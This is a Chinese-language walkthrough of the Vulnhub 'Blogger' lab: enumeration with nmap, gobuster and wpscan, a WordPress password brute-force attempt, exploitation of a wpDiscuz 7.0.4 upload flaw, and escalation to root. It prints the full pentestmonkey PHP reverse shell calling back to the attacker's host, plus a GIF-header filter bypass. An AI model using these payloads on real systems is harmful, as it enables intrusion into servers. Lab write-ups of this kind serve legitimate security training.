Vulnhub Blogger靶机解题过程
Blogger
识别目标主机IP地址
┌──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ sudo netdiscover -i eth1
Currently scanning: 192.168.103.0/16 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.55.10 08:00:27:0a:15:a8 1 60 PCS Systemtechnik GmbH
192.168.56.1 0a:00:27:00:00:0a 1 60 Unknown vendor
192.168.56.100 08:00:27:06:78:2d 1 60 PCS Systemtechnik GmbH
192.168.56.177 02:1c:00:a5:06:70 1 60 Unknown vendor
利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.177
NMAP扫描
──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.177 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-14 08:47 EST
Nmap scan report for bogon (192.168.56.177)
Host is up (0.0013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 95:1d:82:8f:5e:de:9a:00:a8:07:39:bd:ac:ad:d3:44 (RSA)
| 256 d7:b4:52:a2:c8:fa:b7:0e:d1:a8:d0:70:cd:6b:36:90 (ECDSA)
|_ 256 df:f2:4f:77:33:44:d5:93:d7:79:17:45:5a:a1:36:8b (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Blogger | Home
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 02:1C:00:A5:06:70 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.80 seconds
目标主机有两个开放端口22(SSH)以及80(HTTP)。
Get Access
┌──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ curl http://192.168.56.177/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 192.168.56.177 Port 80</address>
</body></html>
┌──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ gobuster dir -u http://192.168.56.177 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.177
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2022/11/14 08:50:40 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 317] [--> http://192.168.56.177/images/]
/assets (Status: 301) [Size: 317] [--> http://192.168.56.177/assets/]
/css (Status: 301) [Size: 314] [--> http://192.168.56.177/css/]
/js (Status: 301) [Size: 313] [--> http://192.168.56.177/js/]
/server-status (Status: 403) [Size: 279]
Progress: 220039 / 220561 (99.76%)===============================================================
2022/11/14 08:50:53 Finished
===============================================================
┌──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ dirb http://192.168.56.177
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Nov 14 08:51:39 2022
URL_BASE: http://192.168.56.177/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.177/ ----
==> DIRECTORY: http://192.168.56.177/assets/
==> DIRECTORY: http://192.168.56.177/css/
==> DIRECTORY: http://192.168.56.177/images/
+ http://192.168.56.177/index.html (CODE:200|SIZE:46199)
==> DIRECTORY: http://192.168.56.177/js/
+ http://192.168.56.177/server-status (CODE:403|SIZE:279)
---- Entering directory: http://192.168.56.177/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.56.177/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.56.177/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.56.177/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Mon Nov 14 08:51:40 2022
DOWNLOADED: 4612 - FOUND: 2
┌──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ nikto -h http://192.168.56.177
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.177
+ Target Hostname: 192.168.56.177
+ Target Port: 80
+ Start Time: 2022-11-14 08:51:51 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: b477, size: 5b917dd00e270, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2022-11-14 08:52:42 (GMT-5) (51 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
到目前为止没有特别发现，但是用浏览器访问/assets目录，发现在font目录下有个子目录/blog,而且在查询blogger.thm
这应该是一个wordpress站点（藏的比较深，用工具没有扫描出来）
┌──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ gobuster dir -u http://192.168.56.177/assets/fonts/blog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.177/assets/fonts/blog/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2022/11/14 09:01:33 Starting gobuster in directory enumeration mode
===============================================================
/wp-content (Status: 301) [Size: 339] [--> http://192.168.56.177/assets/fonts/blog/wp-content/]
/wp-includes (Status: 301) [Size: 340] [--> http://192.168.56.177/assets/fonts/blog/wp-includes/]
/wp-admin (Status: 301) [Size: 337] [--> http://192.168.56.177/assets/fonts/blog/wp-admin/]
Progress: 214305 / 220561 (97.16%)===============================================================
2022/11/14 09:01:47 Finished
===============================================================
接下里用wpscan工具扫描一下wordpress站点
┌──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ wpscan --url http://192.168.56.177/assets/fonts/blog/ -e u,p
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: http://192.168.56.177/assets/fonts/blog/ [192.168.56.177]
[+] Started: Mon Nov 14 09:02:42 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.56.177/assets/fonts/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.56.177/assets/fonts/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.56.177/assets/fonts/blog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.56.177/assets/fonts/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.56.177/assets/fonts/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.8'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.56.177/assets/fonts/blog/, Match: 'WordPress 4.9.8'
[i] The main theme could not be detected.
[+] Enumerating Most Popular Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] jm3s
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Nov 14 09:02:44 2022
[+] Requests Done: 59
[+] Cached Requests: 32
[+] Data Sent: 16.359 KB
[+] Data Received: 755.653 KB
[+] Memory used: 220.914 MB
[+] Elapsed time: 00:00:02
扫描出来一个用户名，jm3s，看能不能破解其密码：
┌──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ wpscan --url http://192.168.56.177/assets/fonts/blog/ -U jm3s -P /usr/share/wordlists/rockyou.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: http://192.168.56.177/assets/fonts/blog/ [192.168.56.177]
[+] Started: Mon Nov 14 09:03:13 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.56.177/assets/fonts/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.56.177/assets/fonts/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.56.177/assets/fonts/blog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.56.177/assets/fonts/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.56.177/assets/fonts/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.8'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.56.177/assets/fonts/blog/, Match: 'WordPress 4.9.8'
[i] The main theme could not be detected.
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <==================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Performing password attack on Wp Login against 1 user/s
^Cying jm3s / leeds1 Time: 00:02:33 < > (25171 / 14344392) 0.17% ETA: 24:19:14
[i] No Valid Passwords Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output. > (25174 / 14344392) 0.17% ETA: 24:19:16
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Nov 14 09:05:50 2022
[+] Requests Done: 25316
[+] Cached Requests: 29
[+] Data Sent: 9.142 MB
[+] Data Received: 88.492 MB
[+] Memory used: 264.961 MB
[+] Elapsed time: 00:02:37
Scan Aborted: Canceled by User
没有破解成功，看用aggressive模式能否找出插件
┌──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ wpscan --url http://192.168.56.177/assets/fonts/blog/ --plugins-detection mixed
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: http://192.168.56.177/assets/fonts/blog/ [192.168.56.177]
[+] Started: Mon Nov 14 09:07:38 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.56.177/assets/fonts/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.56.177/assets/fonts/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.56.177/assets/fonts/blog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.56.177/assets/fonts/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.56.177/assets/fonts/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.8'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.56.177/assets/fonts/blog/, Match: 'WordPress 4.9.8'
[i] The main theme could not be detected.
[+] Enumerating All Plugins (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:01:46 <===========================================================================================================================================> (100906 / 100906) 100.00% Time: 00:01:46
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] akismet
| Location: http://192.168.56.177/assets/fonts/blog/wp-content/plugins/akismet/
| Last Updated: 2022-09-28T15:27:00.000Z
| Readme: http://192.168.56.177/assets/fonts/blog/wp-content/plugins/akismet/readme.txt
| [!] The version is out of date, the latest version is 5.0.1
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.56.177/assets/fonts/blog/wp-content/plugins/akismet/, status: 200
|
| Version: 4.0.8 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.56.177/assets/fonts/blog/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.56.177/assets/fonts/blog/wp-content/plugins/akismet/readme.txt
[+] wpdiscuz
| Location: http://192.168.56.177/assets/fonts/blog/wp-content/plugins/wpdiscuz/
| Last Updated: 2022-10-12T19:07:00.000Z
| Readme: http://192.168.56.177/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt
| [!] The version is out of date, the latest version is 7.5
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.56.177/assets/fonts/blog/wp-content/plugins/wpdiscuz/, status: 200
|
| Version: 7.0.4 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.56.177/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <==================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Nov 14 09:09:35 2022
[+] Requests Done: 101053
[+] Cached Requests: 33
[+] Data Sent: 30.592 MB
[+] Data Received: 13.586 MB
[+] Memory used: 488.809 MB
[+] Elapsed time: 00:01:56
其中wpdiscuz7.0.4插件有漏洞
目标主机有过滤机制，在shell.php头部加上GIF891绕开过滤
└─$ cat shell1.php
GIF891
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.137'; // CHANGE THIS
$port = 5555; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
在Burpsuite查看返回请求，里面有图片存放的位置
在Kali Linux成功得到反弹的shell
┌──(kali㉿kali)-[~/Vulnhub/Blogger]
└─$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.56.137] from (UNKNOWN) [192.168.56.177] 52942
Linux ubuntu-xenial 4.4.0-206-generic #238-Ubuntu SMP Tue Mar 16 07:52:37 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
14:27:02 up 43 min, 0 users, load average: 0.00, 0.02, 0.22
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
提权
其中用户vagrant的密码就是vagrant
www-data@ubuntu-xenial:/home$ cd vagrant
cd vagrant
www-data@ubuntu-xenial:/home/vagrant$ ls -alh
ls -alh
total 36K
drwxr-xr-x 4 vagrant vagrant 4.0K Jan 17 2021 .
drwxr-xr-x 5 root root 4.0K Jan 17 2021 ..
-rw------- 1 vagrant vagrant 930 Apr 2 2021 .bash_history
-rw-r--r-- 1 vagrant vagrant 220 Jan 6 2021 .bash_logout
-rw-r--r-- 1 vagrant vagrant 3.7K Jan 6 2021 .bashrc
drwx------ 2 vagrant vagrant 4.0K Jan 17 2021 .cache
-rw------- 1 root root 133 Jan 17 2021 .mysql_history
-rw-r--r-- 1 vagrant vagrant 655 Jan 6 2021 .profile
drwx------ 2 vagrant vagrant 4.0K Jan 17 2021 .ssh
www-data@ubuntu-xenial:/home/vagrant$ su - vagrant
su - vagrant
su: must be run from a terminal
www-data@ubuntu-xenial:/home/vagrant$ which python
which python
www-data@ubuntu-xenial:/home/vagrant$ which python3
which python3
/usr/bin/python3
www-data@ubuntu-xenial:/home/vagrant$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<e/vagrant$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu-xenial:/home/vagrant$ su - vagrant
su - vagrant
Password: vagrant
vagrant@ubuntu-xenial:~$ id
id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
vagrant@ubuntu-xenial:~$ sudo -l
sudo -l
Matching Defaults entries for vagrant on ubuntu-xenial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User vagrant may run the following commands on ubuntu-xenial:
(ALL) NOPASSWD: ALL
vagrant@ubuntu-xenial:~$ sudo bash
sudo bash
root@ubuntu-xenial:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu-xenial:~# cd /root
cd /root
root@ubuntu-xenial:/root# ls -alh
ls -alh
total 24K
drwx------ 3 root root 4.0K Jan 17 2021 .
drwxr-xr-x 25 root root 4.0K Nov 14 13:43 ..
-rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 501 Apr 2 2021 root.txt
drwx------ 2 root root 4.0K Jan 17 2021 .ssh
root@ubuntu-xenial:/root# cat root.txt
cat root.txt
SGV5IFRoZXJlLApNeXNlbGYgR2F1cmF2IFJhaiwgSGFja2VyLCBQcm9ncmFtbWVyICYgRnJlZUxhbmNlci4KVGhpcyBpcyBteSBmaXJzdCBhdHRlbXB0IHRvIGNyZWF0ZSBhIHJvb20uIExldCBtZSBrbm93IGlmIHlvdSBsaWtlZCBpdC4KQW55IGlzc3VlIG9yIHN1Z2dlc3Rpb25zIGZvciBtZS4gUGluZyBtZSBhdCB0d2l0dGVyCgpUd2l0dGVyOiBAdGhlaGFja2Vyc2JyYWluCkdpdGh1YjogQHRoZWhhY2tlcnNicmFpbgpJbnN0YWdyYW06IEB0aGVoYWNrZXJzYnJhaW4KQmxvZzogaHR0cHM6Ly90aGVoYWNrZXJzYnJhaW4ucHl0aG9uYW55d2hlcmUuY29tCgoKSGVyZSdzIFlvdXIgRmxhZy4KZmxhZ3tXMzExX0QwbjNfWTB1X1AzbjN0cjR0M2RfTTMgOil9Cg==
root@ubuntu-xenial:/root#
提权成功！
STRIVE FOR PROGRESS,NOT FOR PERFECTION
分类:
Vulnhub靶机攻略
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